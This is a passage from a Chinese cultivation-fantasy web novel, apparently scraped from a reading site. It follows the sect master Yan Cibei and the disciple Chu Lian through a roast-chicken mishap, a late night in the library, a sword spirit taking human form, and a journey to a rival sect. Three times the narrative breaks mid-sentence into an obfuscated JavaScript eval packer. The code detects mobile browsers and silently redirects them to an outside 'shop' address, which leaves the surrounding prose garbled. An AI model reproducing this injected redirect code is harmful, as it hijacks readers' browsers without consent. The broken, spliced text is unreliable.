在跟着秦长老苦学一天之后,楚怜终于烤出了一只色泽金亮、油水饱满的全鸡——尽管他只负责最后的看火环节。 “不错嘛小子,果然很有潜力!”秦长老大笑着,猛拍他的肩膀,“今晚的小姑娘们有口福咯,这可是宗主亲传弟子掌的火候,啧啧啧……” 浑身充斥着油烟味的楚怜轻声一哼。 他从芥子袋里摸出清洁符,整个人焕然一新:“烤鸡而已,很简单。” 秦长老这才注意到楚怜脚边一地的符灰。 这小子烤一天鸡肉,这是至少烧了五十张以上的符? 奢侈到令人咋舌。 “这些该不会都是清洁符吧?才想夸你能吃苦呢。” 楚怜理所当然地反问:“为什么要吃苦?又不缺那个。” 因为合欢宗的没落早已习惯节俭度日的秦长老:“……可恨的世家子弟。” 楚怜不在乎她的看法,他一直注视着那只成功的烤鸡。 等秦长老抱怨完,楚怜便找来一把干净的小刀,试图割下鸡腿部位。 但他的动作实在太过生疏,划拉许久也没能切断鸡骨,反而留下了许多难看的划痕。 这又让楚怜情不自禁地皱起眉,把刀一丢:“我要再烤一只。” 他绝不会让燕辞北看到第二只不完美的烤鸡。 重来一次,他要给小刀贴上符箓,让它吹发可断,割下的鸡腿也能漂亮如新。 秦长老道:“没有了,膳堂经费有限,库存的鸡已经用完了。” 楚怜的眉心皱得更深。 今天看到的食材都很普通,包括鸡肉,只是普通的肉鸡,而非灵兽。 这种质量的食材,放在楚家都不可能上桌,但合欢宗竟然连这种肉鸡都不能无限供应。 “你只是想做烤鸡而已,今天已经烤出不少了,凑合一下呗。” 楚怜的眉宇却没有因此舒展:“我要送人。” 秦长老惊讶地扬眉:“送人?” 她自然而然地想到了燕辞北,毕竟楚怜至今只和燕辞北关系最好,“送给宗主?她都渡劫了,哪里需要吃饭。” “……我乐意。” 楚怜脸上时青时红,半晌只憋出了这么一句。 秦长老噗地笑了。 但不等她伺机多笑几句,一只灵蝶飘飘悠悠地赶来,带来了燕辞北的浮圆子订单。 “哎呀呀,看来宗主完全不需要某人的烤鸡呢。” 秦长老乐呵呵地起锅热水,都不用回头,她就可以猜到楚怜现在的脸色有多精彩。 楚怜的脸上一片阴霾,被秦长老取笑后,耳尖更是红了大片,比燃烧的柴火还要艳丽。 没一会儿,秦长老就把两碗浮圆子推到他的手里。 楚怜愕然抬眸,但见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274504|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦长老笑眯眯地:“烤鸡送不了,就去送浮圆子吧。” 楚怜的嘴唇一动再动,最后整张脸都烧起红霞,艰难地挤出一句“多谢”。 现在他可以当面质问燕辞北为什么不点烤鸡了。 - 月明星疏,入夜的合欢宗格外静谧。 远离弟子舍的藏书阁更是鸦雀无声,只有一点光影疾掠,落下零星的符灰,是神行符燃烧过的痕迹。 夜风迭过,悬铃摇响。 楚怜带着餐盒走进阁中,三四层后,便见烛火摇曳,两道人影倚坐层阶。 照明的火显然是燕辞北召出的,温暖明亮,又没有误伤书页的隐患。 它们齐齐映亮了柳长老专注的脸庞,以及旁边酣睡的燕辞北。 这张脸清醒时是明眸善睐,休憩时便恬静柔和,宛如月下玉琢的仙像。 朦胧的光火和月色将眉眼糅成极致的慈悲,好像下一刻有望被高高在上的神灵垂怜,由祂度化,从此与悲苦绝缘。 楚怜很快回了神。 会把燕辞北看成神仙,一定是传承时看到的神像所致。 柳长老也注意到他,抬指嘘了一声:“你就是楚怜?” 现在能在合欢宗里行走的男性只有楚怜。 楚怜微微颔首:“秦长老说这里需要浮圆子。” 柳长老笑了笑,端详片刻,弹出一粒光点接走餐盒。 燕辞北睡前似乎残存一分挣扎,还用袖角压着书页。 但他越睡越沉,袖角已然将被抽离。 楚怜下意识上前,却还是慢了半步,书籍已经合上,而他并不知道燕辞北此前看到哪页。 柳长老说:“第二卷七十三页。” 楚怜依言翻开,入眼便是那部分的主题,“灵根诞生之源”。 该说不愧是渡劫期吗,研究的东西已经艰深伟大到这种地步…… 但很无聊。 柳长老好像能洞悉他的想法,再次笑着提醒:“宗主是来看有没有办法能修复灵根的。可惜,从前都没有修者研究这个,只能从其他记录里寻找线索。” 楚怜拿书的手僵住。 修复灵根? 燕辞北肯定不需要修复灵根。 不如说,合欢宗里没有第二个需要修复灵根的人。 唯一的答案呼之欲出,人心皆明。 那些无趣枯燥的文字好像染上了燕辞北的火苗,一刹那变得灼眼,让楚怜的眼睛蓦地酸疼,视线也模糊了一瞬。 他不理解这份酸楚的来源。 所以他更觉得羞恼。 “修复灵根……”楚怜咬牙看向睡梦中的燕辞北,“我又没求过你,谁要你自作多情。” 话虽如此,一滴泪却啪地滴上了书页。 柳长老含笑合书,从餐盒里取出自己的那碗,便轻巧地起身:“不知道宗主几时能醒,你催催她,老身就先回去了。” 楚怜有些感激她的退场。 因为他即将破天荒地涌出眼泪,都是拜这个多管闲事的师尊所赐。 藏书阁里只剩两人,楚怜便坐在燕辞北的身边。 看过的书和未看过的分成两摞,很遗憾,燕辞北没看完的书摞起来甚至超过他的身高,就在两人身旁,像一座随时倾塌的危楼。 楚怜竭力地深呼吸,调整了许久情绪,久到餐盒里的浮圆子都不再腾起热汽。 他抬手推一推燕辞北:“浮圆子到了,不起来吃吗?” 燕辞北没有反应。 楚怜挣扎一会儿,又挤出一个称呼:“……师尊,浮圆子送到了。” 燕辞北觉得自己好像回到了睡不醒的学生时代,但脑子里还悬着一根弦,提醒他不能睡得太死,对颈椎不好,且容易被老师点名。 摇摇晃晃中,他真听到了一丝模糊的少年音,断断续续说着什么。 燕辞北勉强抽出一线清明辨认。 浮圆子……汤圆……送到了…… 噢,已经下课了? 今晚的宵夜是汤圆,是舍友帮带的吗? 燕辞北撑开一条眼缝,视野里光明熹微,身边飘浮着一股淡淡的冷香。 像白雪在春芽化开时萌发的香气。 不知来由,但闻着很舒服。 他隐约看到了白花花的一团,还有一点点红意。 看来是红豆馅的汤圆。 燕辞北不做他想,朝着那片雪白便啃了一口。 楚怜:“……!!!” 楚怜猛地跳了起来。 随着他的闪躲,燕辞北没有支撑,也一下摔在地上,彻底睁开了眼。 只见楚怜白皙的脸上一圈牙印,惊怒的神情好像下一秒就要火山喷发。 他瞪着燕辞北的眼里又羞又愤又隐忍,可匆匆擦拭的脸颊变得更像一颗红润欲滴的红豆汤圆。 燕辞北:“……” 场面太过离谱,燕辞北决定恶人先告状:“………很明显,都是你长得太像汤圆的错!” 8. 第八章 话一出口,燕辞北肠子都悔青了。 但根本没有给他解释或道歉的机会,少年一言不发地瞪过来,这回不只是脸蛋红了,连带着那双波光潋滟的眸也满是怒焰。 一双鲜艳的薄唇急得直抖,好像在用毕生教养压住某些刻薄的发泄。 燕辞北后仰着闭眼,做足了挨骂的准备。 结果数息之后,没听到楚怜的叱骂,倒听得鸦雀无声的藏书阁里一声“啪嗒”。 一滴泪珠砸在燕辞北的手背,啪地开出花来。 燕辞北:“?!” 他两辈子都怕看别人哭,一下子就慌了神:“别哭别哭,为师错了行不行?给你啃回来,你想啃哪,嗯?” 一边说着,燕辞北急忙把脸凑过去。 但想起楚怜的洁癖,燕辞北懊悔地缩回脑袋,准备掐个清洁诀把脸弄干净些再递。 然而楚怜没有给他多想的余地,拽过燕辞北的手就是一口。 滚烫的气息喷在燕辞北的掌心,他下意识缩了一下,又惦记着自己承诺的补偿,闭着眼大义凛然地忍耐。 等待的疼痛却始终没有落下。 掌心只有一片湿润。 燕辞北迟疑着停在原地。 楚怜把脸埋在他的掌心,潮热的触感循着肤表蔓延向上,好像羽毛拂遍全身,没有一个地方不痒。 原著的楚怜是这样吗? 燕辞北不记得原著有类似的场景,不过当后宫流泪的时候,原著楚怜通常会用一个拥抱解决问题。 鬼使神差地,燕辞北也用另一只空闲的手揽过去。 把楚怜拉进了他的怀抱。 然后两人都感受到,他们的身体在紧贴的瞬间同时僵住。 燕辞北骤然回神,松开手想要狡辩:“听我解释——” 楚怜打断了他。 他拧着身子,没有看燕辞北的眼睛,声音瓮得厉害: “你想得到什么?上修界的赞誉?楚家的宝库?灵矿?……我不在乎那些,你想要,尽可以拿去,不用这样拐弯抹角。” 燕辞北的手悬在半空,一时不知道该放哪里。 就在楚怜以为不会等到答案的时候,湿润的脸颊却覆上了一片暖意。 燕辞北用手擦去泪水,舀起几颗浮圆子,把勺递到他的唇边。 一股甜香随之飘来。 楚怜想躲,却被燕辞北的腿提前挡住退路。 燕辞北真就一五一十地坦白:“那我要你发誓,以后不管发生什么事都不许炸了合欢宗。” 楚怜:“……” 楚怜:“我为什么要炸合欢宗?” 燕辞北:“而且不能辜负衔玉、小千、蕊儿……哦,你还不认识蕊儿她们。” 楚怜:“………” 楚怜脸上满是困惑,张嘴想说什么,但唇缝刚刚启开,就被燕辞北一个巧劲,浮圆子和着甜汤一起钻进了口腔。 浓郁的甜香弥漫开来,让他不得不闭嘴乖乖咀嚼:“我讨厌红豆馅。” 事实上,楚怜的问题也让燕辞北有了瞬间的动摇。 如果是想保住合欢宗,其实只需要看住楚怜,甚至杀了楚怜——这样一劳永逸的办法,可他居然完全没有想过。 或者就这么溺爱楚怜,让他心甘情愿做个废物,寿终正寝。 一切隐患都可以根绝在摇篮之中。 燕辞北回过神,轻轻撇嘴:“讨厌红豆?没品。” 楚怜却看一会儿甜汤里飘浮的浮圆子,忽然道:“不过我娘喜欢。” 燕辞北抬眼看他。 楚怜正出神地看着那碗浮圆子,甜汤倒映着他核桃似的眼睛。 燕辞北伸手又帮他擦了擦眼,这回被楚怜躲开了。 “是啊,喜欢和讨厌就是这么不讲道理。” 燕辞北道,“所以不要纠结为什么,就当为师突发奇想,和你娘喜欢红豆汤圆一样,恰好就喜欢你。” 楚怜停止了咀嚼,垂下的鬓发挡住他的眼睛。 但没有挡住一串眼泪如银线似的落下,啪地坠在燕辞北的鞋面。 “……”楚怜艰难地咽下汤圆。 好半天,燕辞北听到他故作冷淡的回应:“没人求你。” “嗯嗯,为师自愿的。” “………” 楚怜的沉默越来越久,“我也……发誓不会辜负合欢宗,不会辜负你说的那串名字………还有你。” 燕辞北噗地笑出来,两眼弯弯。 他又想摸摸楚怜的脑袋,但是一阵夜风卷过,藏书阁的窗户响过,便听一道女声渐近:“主人,我化形啦!你快看你快看!” 师徒俩同时一滞,不约而同地分开。 甚至说不清这份心照不宣的心虚从何而来。 小千穿着一身合欢宗校服,如一朵鹅黄色的苜蓿穿过连廊,飘飞入阁,扑进燕辞北的怀里。 她仰起头,亮晶晶的眼中满是欣喜:“怎么样,主人喜欢吗?我特意捏了主人会喜欢的长相。” 燕辞北当即懵了。 他知道剑灵化形大多会循着见过的脸去模仿,原著的小千就是变成了前主人的模样,那是一位美貌出众的女修。 但这次小千似乎受到了太多影响。 她竟然化形成了一个目测只有十岁出头的女童。 而且上挑的眼尾、鲜润的双唇……这副五官精致漂亮得让人挑不出错,但是除了年龄更小,线条更柔和些,她看上去几乎和楚怜一模一样。 燕辞北半晌说不出话,楚怜倒是看清了那张宛如自己性转幼体的脸。 轻嗤一声:“东施效颦。” 小千跳起来一拳挥去:“要不是主人喜欢,谁稀罕变成你的样子!” 楚怜掐了一张换影符轻而易举地躲过,却还是被小千看见了脸。 小千把头一偏,好奇地打量一会儿:“你怎么哭了?谁这么大的胆子,打狗也得看主人,不给你面子,就是不给我主人面子!” 楚怜应声一僵,燕辞北急忙横到二人中间。 不能怪小千说话太直,楚怜的眼睛的确肿得厉害。斑驳的泪痕更是惹眼,任谁看了都会注意到那张惹人怜爱的脸。 “怎么可能,都是误会。”燕辞北狡辩着,语气有些发虚。 小千恍然大悟:“我知道了,是为灵根的事吗?真羞,屁大点事就哭鼻子。” 楚怜丢了灵根,便和炼气期的弟子相差无几。 在燕辞北和小千这样修为深厚的大能眼中,他的根骨筋脉乃至修为深浅全都一目了然。这也是小千毫不犹豫投奔燕辞北的理由之一。 楚怜拧起好看的眉,对小千的直言不讳有些不悦。 但碍于燕辞北在,他忍住辩驳,偏过头不予理会。 “小千,不能这么说话。”燕辞北捂住小千的嘴,无奈地警告。 小千却扒开他的手,嘀咕道:“本来就不是什么大事。我前前前主人就被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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弟子舍距离藏书阁不算很远,推出阁外,他还体贴地帮楚怜掏出一张神行符:“路上小心。” 但楚怜好一会儿没有接过符纸,好像还在走神。 被燕辞北接连拍了两下肩膀,才猛地躲开几寸,脑袋恨不得拧到天上去,唯恐看到燕辞北一眼:“是,弟子明白。” 燕辞北看他嘴上答应,却好几下都没掐动神行符。 楚怜自己也羞极了,抿紧了嘴唇,额角渗出些许汗意。 燕辞北:“着急什么,你还没有道侣呢,还是得为师……” 话未说完,楚怜的身形灭了。 神行符的灰烬落在原地,燕辞北摇摇头,转身走回藏书阁。 - 弟子舍外,几个晚归的弟子望见传说中的小师兄,正迟疑着要不要上前问好,却见小师兄独自一人踱来踱去,忽然长叹一声蒙住了脸,只有月光映亮他红到滴血的耳尖。 楚怜还在回味燕辞北没说完的那句。 还是得为师……? 为师什么?她要做什么? 难道他没有道侣,她就要代替道侣,为他做什么吗……? 越想越觉得自己入障,楚怜匆匆蒙住了脸,再也不敢深想。 9. 第九章 虽然听上去很不着调,燕辞北还是在第二天找到柳长老,询问小千提出的方案。 出乎意料的是,柳长老居然真的点了点头。 “您提到的那个,应该就是传闻中的并蒂蛊。”柳长老道,“但它不是为了修复灵根而生,只是让中蛊双方共享灵力、同生共死。这对修为更高的一方来说极其不公,常常有价无市,说是鸡肋也不为过。” 如果说小千介绍的时候燕辞北还有几分困惑,那柳长老的说法,燕辞北就彻底理解了。 因为“并蒂蛊”这个名字在原著就登场过。 而且在原著里它也落到了楚怜头上,成为楚怜和后宫之一的羁绊。 这道蛊很不一般。 不仅对修为更高的一方是累赘,修为低的一方也会不时发作情热,非彼此不能解忧。除非情深义重生死相依的道侣,一般人确实没必要搭理“并蒂”。 柳长老不忘叮嘱:“这道蛊万里无一,相当罕见,您最好不要太期待它。” 燕辞北郑重点头。 虽然再稀有的天材地宝最终都会归楚怜所有,但他也记得,这道蛊除了楚怜,另一个主人是医圣爱女,跟合欢宗没有半毛钱关系。 一边旁听的凤衔玉忍不住忧心:“那小师弟的灵根真的就无法了吗?” “也不见得。”柳长老看向燕辞北,“合欢宗典藏有限,可能束手无策。但更大的宗派,兴许会有他们的法门。宗主可曾试过向与剑台求助?” 听到与剑台,燕辞北又想生气。 他摆摆手:“与剑台那帮老东西都是觊觎楚家私库才会收留楚怜,现在我带楚怜走了,他们正着急呢。要是掉头去问他们,他们肯定会借机接走楚怜。” 还有十万灵石。 此事还是燕辞北第一次和人提起,柳长老神色一凛,敏锐地捕捉到他话里的暗意:“听上去,他们原本不想让楚怜走?” 燕辞北垂头丧气地点点脑袋:“他们拿那劳什子的门规压我呢,说要楚怜战胜十名与剑台内门弟子才能辞去。” “十个?这不是落井下石么?他们内门最次也是筑基期,小师弟现在哪能胜过十个筑基期!” 凤衔玉说出了他的心声,燕辞北抱着脑袋,唉声叹气地趴在柳长老的案台。 若是从前,与剑台那边脸皮撕破也就破了。 可如今的合欢宗元气大伤,虽然还有燕辞北坐镇,可对方也有剑仙,总不能真为一个楚怜让双方失了体面。 柳长老拍拍凤衔玉的手,示意她先冷静:“老身的茶叶见底了,衔玉,你去库房取一盒新的过来。” 凤衔玉还有几分怒气,知道自己失态,应下后便出了藏书阁。 临走前,她又听到柳长老正提议着蓬莱山、万重山等等宗派,以及燕辞北拖长尾音,无可奈何的叹息。 - 凤衔玉取了茶叶,正途经几个弟子在校场切磋。 合欢宗的法门不拘武器,刀枪剑戟、绫罗绸缎,一切都能化为己用。然而凤衔玉余光掠过,竟然瞄到一线迫人的寒光。 其锐其利,绝非合欢宗的制式武器,却从门中弟子的袖中脱出。 凤衔玉将长袖一舒一卷,掌心翻开。 是几枚透着桃花香气的暗针。看上去材质做工皆在玄品以上,铸造者至少是元婴期的器修,身价可见一斑。 小弟子匆匆上前行礼,看着她面沉如水,一个个不敢吱声。 凤衔玉寒声问:“谁给你们这种东西?” 合欢宗即使存着暗器,也不会发放给年幼的门生。 一是节俭成本,二是这些孩子下手不知轻重,平日切磋就爱卖弄,和今天一样,但凡刺破一点皮肤,都够她们吃一阵苦。 起初几人还不交代,顶着凤衔玉严厉的目光,才有一个小姑娘嗫嚅着说:“是小师兄给的。他说我们太笨了,出门会被欺负,要留些暗器防身。” 凤衔玉怒斥:“既然是防身用的,又怎么能对同门使出来!” 小弟子都不说话了,凤衔玉把桃花针一概收走。 临走却被一人拉住衣摆,凤衔玉瞪去一眼:“还想狡辩什么?” 对方却缩缩脖子,话里带些哭腔,小声道:“大师姐,能不能不要怪小师兄。他是好心,是我们不懂事……” 凤衔玉正想教训,远远地听到一阵脚步。 楚怜恰好也在校场练剑,闻声过来,目光从一干小姑娘身上飘向凤衔玉。 虽然不知道发生了什么,但几个女孩哭得厉害,他的语气便算不上好:“师姐这是做什么?” 凤衔玉深吸一口气,做足了苦口婆心的准备:“桃花针不是寻常暗器,对她们而言还太危险。我知道你是一片好心,但是……” 楚怜微皱眉头,打断她的话,问小女修:“你们在校场用桃花针了?” 小女修们低垂着头,站成一排鹌鹑。 楚怜笑一声,给自己掐了一张清洁符,等到一身衣衫纤尘不染,他摆摆手:“那你们活该,我管不着。” 说着,他举步就想离场。 凤衔玉一手拉住他,楚怜转首,不动声色抽出了自己的衣角,又掐一张清洁符,“……要连坐我?” 他的坏脾气只用一天就传遍了合欢宗。 尤其是昨晚,凤衔玉听说楚怜一个人在弟子舍外疾走往返,接近他的门生都被砸了一堆灵石打发,让她们有多远走多远,别打扰他。 少的几百,多的上千,许多人都懊悔昨晚没赶上财神爷散财。 但凤衔玉关注的比那更多:“这些桃花针价值几何?我让库房拨款给你。” 楚怜叹道:“有钱买这些,不如给膳堂买两只灵鸡。” 凤衔玉:“……财不外露,小师弟,你太张扬了。” 这话不是楚怜第一次听,不如说,他就是听着这些话长大的。 不过从前他是天才,背靠楚家,再怎么败家也不会惹火上身。现在却听得越发频繁,更烦人的是,说话的人好像都在真心实意为他担忧。 楚怜再叹气:“师姐是觉得我护不住这些财?” “师尊心慈,所以对你处处包容。但天下有多少双眼睛盯着你,你现在的行径无异于小儿抱金过市。” 话到一半,凤衔玉说不下去了。 因为楚怜直视着她的眼睛比桃花针还要锐利。他还站在那里,但神色漠然到了极致,不管是微蹙的眉心还是渐抿的薄唇,都在说明他的不满。 凤衔玉知道自己没有说错,可正因为没有说错,才让她动摇了瞬间。 ——毫不相干的她都能想通,难道楚怜和燕辞北会不清楚吗? 但燕辞北从不阻止楚怜,楚怜也从不收敛自己的招摇。 仔细一想,缘由并不难解。 楚怜娇生惯养早成习惯,如果天才的时候高调,落魄了便低调,以他的心性更会觉得羞耻。 这样挥金如土的习性与其说是性格,更像是楚怜的一重盔甲。 凤衔玉不知不觉也抿紧了嘴唇,良久,她听楚怜反问:“这是师尊的意思,还是师姐的劝诫?” 凤衔玉道:“当然和师尊没有关系,只是……” 楚怜的表情便缓和了。 他扬起眉梢,神色显而易见地转晴,但话里还是夹枪带棒:“我花的是自己的钱,不管是在外招摇,还是贴补门内,那都是我自己的主意。师姐看不顺眼,尽管请师尊来治我,但我不记得合欢宗有规定门生不许花钱,所以,师姐掌事可以,却没必要掌我的内务吧。” 这话极不入耳,凤衔玉却注意到“贴补门内”四个字。 小女修在旁耳语补充:“小师兄早上和秦长老谈过,要掏钱给我们改善伙食。他手里还有许多有益修行的丹药,方才都分给了大家。” 凤衔玉的手指一颤,张张口,最终只能沉默地长揖一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274506|198171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 礼: “无论如何,我先代年幼的师妹们谢你。” 楚怜耸耸肩膀,作势要走。 这回又被凤衔玉拉住,而他今天携带的清洁符已经用尽,只能皱着眉问:“还有事吗?” 已经是极其不耐烦的口吻。 凤衔玉说:“我既然谢你,不会止步口头。日后你有什么需要我的地方,譬如与剑台的切磋,我一定尽力相助。” 楚怜转过身子,屈尊用自己的手指掸去不存在的灰。 这回是他主动留下,因为凤衔玉的话让他费解。 楚怜问:“与剑台的切磋是什么?” 凤衔玉才发现他还没有听说此事:“你不知道?我也是才听师尊提起,与剑台那边格外惜才,不忍你走,除非你能胜过十名内门弟子——当然,我们不会坐以待毙,师尊和柳长老正在商量,相信一定会有对策。” 楚怜的眼色越来越沉,凤衔玉说到后半,声音竟不自觉压得轻了。 她思忖着再说些安抚的话,但楚怜已经拔腿掐符,一张神行符足让他遁行百里,眨眼来到藏书阁外。 就像凤衔玉说的那样,燕辞北正和柳长老磋商。 不过遇到什么难关似的,他说着说着又仰下去,一副昏昏欲睡的模样。 柳长老翻着书,不时戳两下燕辞北的脑门。 最后燕辞北长吁一声,自暴自弃地道:“算了,我给白折竹发个灵蝶,就算我毁约得了!” 一只手却蓦地按上柜台。 白皙的皮肤和浆红的木表形成鲜明对比,少年声线高高地压下:“毁什么约?区区十个内门弟子,我还能输给他们?” 燕辞北:“……” 柳长老翻着书坐到一边,只留燕辞北眨巴眼睛,和楚怜四目相对。 他们相处经常是燕辞北在高位,这样自己坐着,楚怜却站着的时候相当少见。 男主的气势一下子就压了下来。 逆着光,那张脸的轮廓线条越发鲜明,近观之下,煞是好看。 他不知道楚怜是从哪里听说这件事,但楚怜振振有词:“我不会输,就算没有灵根,我也不会输。” 这简直是天方夜谭。 燕辞北伸手搓他的脸,楚怜却格外坚定,变了嘴型也要坚持含糊地强调:“我金丹期就能胜过元婴期的修者,就算他们有十个……” 燕辞北:“死装男打咩。” 楚怜:“……” 听不懂,但感觉不是好话。 柳长老倒是很有兴趣,截下燕辞北的手:“可你如果真能赢过十名内门弟子,与剑台只怕当场就会许你内门之位。到那时,你不肯回合欢宗了,岂非辜负我们宗主一番好心?” 这个角度非常刁钻,一下子说进燕辞北的心坎。 他这么费劲就是想把楚怜带离与剑台,万一男主真的力克群雄,又被与剑台抢回去了怎么办? 楚怜微别过脸,目光投向了柳长老。 十八岁的少年骨秀神清,眼中波光粼粼。柳长老不是初次见他,楚怜在上修界素有美名,说他独挑魔窟是何等潇洒、剑指南天又是何等轻狂。 但也止步于此了。修者修的不只道行,更是心性。 楚怜的前半生呼风唤雨、应有尽有,一切“得到”都太轻松,叫他如一颗明珠,稳稳当当地嵌在宝冠,璀璨夺目,却理所当然。 唯独今天。 柳长老端详着他的眼睛,看到楚怜压在柜台上的手掌轻轻颤抖。 不是畏惧或者紧张,而是兴奋。 楚怜朗声回答她的问题:“我会赢,十个、百个,我都会赢。然后我会回来。” “因为是我选择这里。” 他灼灼的目光转向燕辞北,“是我,选择你。” 唯独今天,柳长老猜测,这孩子终于找到了不能让他轻松得到的事物。 脱离了宝冠,明珠依旧是明珠。 10. 第十章 燕辞北没有做声,拧着眉措辞。 他还是有几分不情愿,担心见到白折竹,人家命定的师徒情分就会发作,一下子把他这个半路师尊抛到九霄云外。 光是想想那幅场景,燕辞北心里就颇为不爽。 但柳长老适时开口:“这未必不是一条良计。如果与剑台还有几分大派的自持,总不会太过为难一个孩子。” “但是灵根……” “与剑台自诩惜才,这正是一个机会。论及医术,他们的静水峰也只在蓬莱山之下。若是你的徒弟真有本事,这一战,无论胜负都是他的机缘。就算输了,南离尊者耍浑的例子不胜枚举,与剑台还能硬抢过你?” 燕辞北:“……” 怎么莫名其妙就给人扣了耍浑的帽子,他明明是个连劳动仲裁都不敢的憋屈社畜啊! 可是柳长老说的这些,又确实令人垂涎。 燕辞北扭头想要冷静须臾,却发现自己正被楚怜直勾勾地盯着。 柳长老的字字句句也说得恳切,两人左右夹攻,让燕辞北磨蹭许久,也没说出一个“不”字。 凤衔玉和小千倒是一前一后的来了。 小千是去无欲春泉泡了澡,凤衔玉则是带着茶叶,着急忙慌地赶来。 撞上三人僵持的模样,凤衔玉问:“师尊是要带师弟去与剑台么?弟子愿随行护送。” 小千一头雾水,但已经兴奋地抱上燕辞北的胳膊:“要出门?去哪里?我也去我也去!” 楚怜黑着脸想要拒绝,却听燕辞北那边一声合掌,一副豁然开朗的模样。 “好,我们一起去!” 燕辞北说得轻快极了。 白折竹和楚怜是命定师徒又怎么了,凤衔玉和小千还是命定的老婆呢。 这样命中注定的缘分,他们合欢宗有两个! 如此想着,燕辞北欣慰至极,一左一右握住了凤衔玉和小千的手。 他的目光深情款款,直看得二人有些悚然。 除了燕辞北的异样,凤衔玉还感受到背后衣裳被人的眼刀划得横七竖八。不消回头,直觉就告诉她那是楚怜的眼神。 凤衔玉屈膝一礼,先问:“那师尊计划何时动身?弟子去把仙舟收拾出来。” 这一趟不再是燕辞北找老友闲聊,而是关乎两个门派的面子,该有的排场就不能少了。 但南离尊者惯用的云辇需要仙兽牵引,早年鬼修袭击屠尽了他心爱的仙兽,虽然云辇还能启动,可是少了仙兽,难免让人看低合欢宗。 至于仙舟,大型门派都会储备些许,这已经是合欢宗现在能负荷的最昂贵的出行器物。 燕辞北深以为然,想点头时,又听楚怜凉凉地打断:“楚家有一座飞鹤行宫。” 凤衔玉:“……” 柳长老:“……” 不耻下问的燕辞北:“飞鹤行宫?什么水平?” 楚怜皮笑肉不笑地扯一下唇:“能换十艘仙舟的水平。” 犹豫一秒都是对二世祖的不尊重,燕辞北当机立断:“就坐那个。” 他再也不嘲笑楚怜死装男了。 因为随地大小装真的很爽。 - 飞鹤行宫恰如其名,其形是一座璀璨富丽的小型宫殿,足可以容纳小几十人。四周仙鹤护行,腾云驾雾,行宫本身飘浮的动力皆由灵石供给,每一百里,就要耗费万枚以上。 和燕辞北的仙驾云辇差不多,都是中看不中用的典型。 但这点消耗对楚怜而言就是眨眨眼的事。 中看更为重要。 当飞鹤行宫驶入与剑台的领空,守山大阵边的弟子纷纷仰望,长空鹤唳,阵阵如啸,让他们不得不提起注意。 燕辞北的灵蝶提早数日递过名帖,所以今天与剑台上下也都严阵以待。 合欢宗虽然没落,可南离尊者依旧是渡劫大能,这样声势浩大的造访,不仅是外门弟子,就连十二峰都有几位峰主亲自出关,随着掌门下到山腰迎接。 只见擎天的行宫从数十里外开始降落,浩浩荡荡,声势如雷。 先行的仙鹤逐一而落,长颈向天,恭迎着它们的主人。 而在山外,与剑台内外门的弟子一样站成一片,密密匝匝,白衣校服就像山间白雾一般萦绕,与仙鹤一同迎向那座奢华的飞鹤行宫。 豁开的殿门两侧,凤衔玉和楚怜持剑而立。 将近之时,大家才看见一点红影缓缓从殿中走出,华衣云鬟、珠钗金翠。 人间最尊贵的皇后或许会作此装扮,但在崇尚清简的上修界,这样的存在屈指可数。 于是所有人都在沉默中知晓。 这就是传说中的南离尊者,燕辞北。 “尊者阁下大驾光临前来交流,却是敝宗有失远迎,惭愧惭愧。” 与剑台的掌门微笑着行礼,他是白折竹的师叔。 此人姓龚,在修行上天赋一般,至今也不过分神修为,甚至不如十二峰的长老。 但龚掌门工于运筹,又善交际,在他的操持下,与剑台很快就成了公认的第一大派。加上辈分不低,白折竹平日对他也都不敢反抗。 他肯亲自接见,燕辞北挑不出错,也以宗主身份与他周旋:“是本座冒昧打扰,龚掌门不要计较才好。” 说着,行宫稳当落地,燕辞北慢条斯理地下来。 两个亲传弟子犹如护法守在身边,龚掌门的目光点过楚怜,又飞快掠过行宫,眼中笑意更深,侧身对燕辞北道:“哪里的话。尊者,里边请。” 合欢宗早就外强中干,他还能不知道吗? 这行宫并非初次露相,曾经楚家不是没动用过。现在出现在燕辞北的手上,只可能是楚怜上贡,这更说明了楚家的灵矿财宝没有缺少…… 龚掌门没有多说,身后几位峰主都在交换眼神。 一个陨落的天才没什么了不起,但他继承了整个世家的资源——这就让楚怜的价值翻了数番不止。 峰主之一对楚怜露出友好的笑容:“小怜可得多谢尊者,你的同门不知多少在羡慕着你能和渡劫大能近身交流,等你回来,都想找你讨教一二呢。” 燕辞北和龚掌门走在最前,倒不方便回头骂人。 楚怜斜去一眼,刚想开口,身边凤衔玉先笑一声:“岳峰主这话真奇怪,我们合欢宗没那么多规矩。师尊教了我与师弟,我们自然也会教授其他师妹,又不藏私,她们有什么好羡慕的?” 岳峰主的表情变了变,凤衔玉先发制人地堵住话头:“师弟,这位是与剑台惊雷峰的岳峰主,你以前可能不认识,但现在知道了,今后不要冒犯峰主。” 楚怜顺着话慢吞吞地答应:“岳峰主好。” 